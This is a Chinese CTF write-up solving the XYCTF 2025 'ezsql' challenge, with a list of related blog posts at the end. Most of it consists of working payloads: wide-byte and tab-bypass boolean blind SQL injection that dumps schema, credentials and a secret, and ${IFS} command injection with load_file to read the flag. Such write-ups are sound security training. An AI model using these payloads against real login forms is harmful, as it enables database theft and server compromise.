2025 XYCTF ezsql 详细教程wp

2025 XYCTF ezsql 详细教程wp

解题技巧

  • 空格绕过:使用%09
  • #号绕过:使用%23
  • 单引号绕过:使用宽字节注入%df'
  • limit 1,1绕过:使用limit%091%09offset%090
  • 这题我用的是布尔盲注,不知道师傅们有没有比这个更简单的办法
  • 因为是盲注,所以每条语句都需要爆破,我用的是burp的爆破,然后再导出ascii码查看值的办法
  • ,被过滤了,采用from for,爆破的时候payload放from后面那个值就行
  • limit%091%09offset%090爆破的payload放最后那个0那个位置

详细步骤

1. 数据库信息收集

1.1 查找数据库数量
sql 复制代码
username=1%df'%09or%09(select%09count(schema_name)%09from%09information_schema.schemata)=6%23&password=1

结果:共6个数据库

1.2 查找所有库名长度
sql 复制代码
username=1%df'%09or%09length(substr((select%09schema_name%09from%09information_schema.schemata%09limit%091%09offset%092)from(1)))=8%23&password=1

结果:18, 6, 5, 18, 4, 3

1.3 爆当前库长度
sql 复制代码
username=1%df'%09or%09length(database())=6%23&password=1

结果:库长为6

1.4 爆当前库名
sql 复制代码
username=1%df'%09or%09ascii(substr(database()from(1)for(1)))=90%23&password=1

结果:testdb (115 100 114 115 99 97)

所以这个时候就能猜出1.2的数据库应该是:

information_schema, testdb, mysql, performance_schema, sys

2. 表信息收集

2.1 爆表数量
sql 复制代码
username=1%df'%09or%09(select%09count(table_name)%09from%09information_schema.tables%09where%09table_schema="testdb")=2%23&password=1

结果:2个表

2.2 爆表名长度

第一个表:

sql 复制代码
username=1%df'%09or%09length(substr((select%09table_name%09from%09information_schema.tables%09where%09table_schema="testdb"%09limit%091%09offset%090)from(1)))=12%23&password=1

结果:12

第二个表:

sql 复制代码
username=1%df'%09or%09length(substr((select%09table_name%09from%09information_schema.tables%09where%09table_schema="testdb"%09limit%091%09offset%091)from(1)))=4%23&password=1

结果:4

2.3 爆表名

表一名称:

sql 复制代码
username=1%df'%09or%09ascii(substr((select%09table_name%09from%09information_schema.tables%09where%09table_schema="testdb"%09limit%091%09offset%090)from(1)for(1)))=90%23&password=1

结果:double_check (100 111 117 98 108 101 95 99 104 101 99 107)

表二名称:

sql 复制代码
username=1%df'%09or%09ascii(substr((select%09table_name%09from%09information_schema.tables%09where%09table_schema="testdb"%09limit%091%09offset%091)from(1)for(1)))=90%23&password=1

结果:user (117 115 101 114)

3. 字段信息收集

3.1 double_check表

字段数量:

sql 复制代码
username=1%df'%09or%09(select%09count(column_name)%09from%09information_schema.columns%09where%09table_name="double_check")=1%23&password=1

结果:1个字段

字段长度:

sql 复制代码
username=1%df'%09or%09length(substr((select%09column_name%09from%09information_schema.columns%09where%09table_name="double_check"%09limit%091%09offset%090)from(1)))=6%23&password=1

结果:6

字段名:

sql 复制代码
username=1%df'%09or%09ascii(substr((select%09column_name%09from%09information_schema.columns%09where%09table_name="double_check"%09limit%091%09offset%090)from(1)for(1)))=90%23&password=1

结果:secret (115 101 99 114 101 116)

3.2 user表

字段名长度(前49个字段):8, 8, 4, 4, 8, 11, 11, 11, 11, 11, 9, 11, 13, 12, 9, 10, 15, 10, 10, 12, 10, 16, 12, 15, 16, 16, 14, 19, 18, 16, 10, 12, 19, 8, 10, 11, 12, 13, 11, 15, 20, 6, 16, 7, 12, 18

爆前四个字段名:

  • username
  • password
  • Host
  • User
  • 太多了,爆不下去了,感觉username和password就够用了

4. 数据收集

4.1 获取secret值

secret字段值长度:

sql 复制代码
username=1%df'%09or%09length(substr((select%09secret%09from%09double_check%09limit%091%09offset%090)from(1)))=17%23&password=1

结果:17

secret值:

sql 复制代码
username=1%df'%09or%09ascii(substr((select%09secret%09from%09double_check%09limit%091%09offset%090)from(1)for(1)))=90%23&password=1

结果:dtfrtkcc0czkoua9S

感觉这个像个密钥,但是还不知道有啥用

4.2 获取用户信息

username值:

sql 复制代码
username=1%df'%09or%09ascii(substr((select%09username%09from%09user%09limit%091%09offset%090)from(1)for(1)))=90%23&password=1

结果:yudeyoushang

对应密码:

sql 复制代码
username=1%df'%09or%09ascii(substr((select%09password%09from%09user%09where%09username="yudeyoushang"%09limit%091%09offset%090)from(1)for(1)))=90%23&password=1

结果:zhonghengyisheng

5. 系统信息收集

当前系统用户:

sql 复制代码
username=1%df'%09or%09ascii(substr(user()from(1)for(1)))=90%23&password=1

结果:root@localhost

确定有root权限

获取Flag

使用获得的凭据:

  • 账号:yudeyoushang
  • 密码:zhonghengyisheng
  • 密钥:dtfrtkcc0czkoua9S

登录后发现存在一个rce,有空格过滤和一大堆的过滤(执行sleep${IFS}5,确实5秒才响应),${IFS}绕过空格过滤,但是命令执行没有回显。

尝试CEYE DNSLog进行数据外带,发现带不出来。

抓包发现注释中有/flag

但是直接读取flag失败了,猜测有什么限制

获取flag

  1. 执行命令移动flag绕过限制:
bash 复制代码
command=mv${IFS}/flag*${IFS}/flag.txt
  1. 读取flag.txt长度:
sql 复制代码
username=1%df'%09or%09length(load_file("/flag.txt"))=85%23&password=1

成功读取出来长度了

然后就是:

  1. 读取flag内容:
sql 复制代码
username=1%df'%09or%09ascii(substr(load_file("/flag.txt")from(1)for(1)))=1%23&password=1
txt 复制代码
88,89,67,84,70,123,99,51,49,56,55,53,53,101,45,102,56,55,57,45,52,97,54,102,45,98,101,101,101,45,51,51,55,55,55,52,49,53,97,57,53,55,125,10	

flag值

复制代码
XYCTF{c318755e-f879-4a6f-beee-33777415a957}

附上解ascii码的脚本

python 复制代码
# 用来转ascii的
ascii_numbers = [90,100,101]
result = ''.join(chr(num) for num in ascii_numbers)
print(result)
相关推荐
GLAB-Mary19 分钟前
AI会取代网络工程师吗?理解AI在网络安全中的角色
网络·人工智能·web安全
2501_915909062 小时前
调试 WebView 旧资源缓存问题:一次从偶发到复现的实战经历
websocket·网络协议·tcp/ip·http·网络安全·https·udp
galaxylove3 小时前
Gartner发布最新指南:企业要构建防御性强且敏捷的网络安全计划以平衡安全保障与业务运营
网络·安全·web安全
2501_915921434 小时前
请求未达服务端?iOS端HTTPS链路异常的多工具抓包排查记录
websocket·网络协议·tcp/ip·http·网络安全·https·udp
2501_916007479 小时前
iOS 接口频繁请求导致流量激增?抓包分析定位与修复全流程
websocket·网络协议·tcp/ip·http·网络安全·https·udp
2501_916013749 小时前
用Fiddler中文版抓包工具掌控微服务架构中的接口调试:联合Postman与Charles的高效实践
websocket·网络协议·tcp/ip·http·网络安全·https·udp
mooyuan天天11 小时前
DVWA靶场通关笔记-文件上传(Medium级别)
web安全·文件上传·文件上传漏洞·dvwa靶场·文件上传mime
00后程序员张11 小时前
调试 WebView 接口时间戳签名问题:一次精细化排查和修复过程
websocket·网络协议·tcp/ip·http·网络安全·https·udp
Whoisshutiao13 小时前
Python网安-zip文件暴力破解(仅供学习)
开发语言·python·网络安全
柴郡猫^O^13 小时前
OSCP - Proving Grounds - DC - 1
安全·网络安全·安全性测试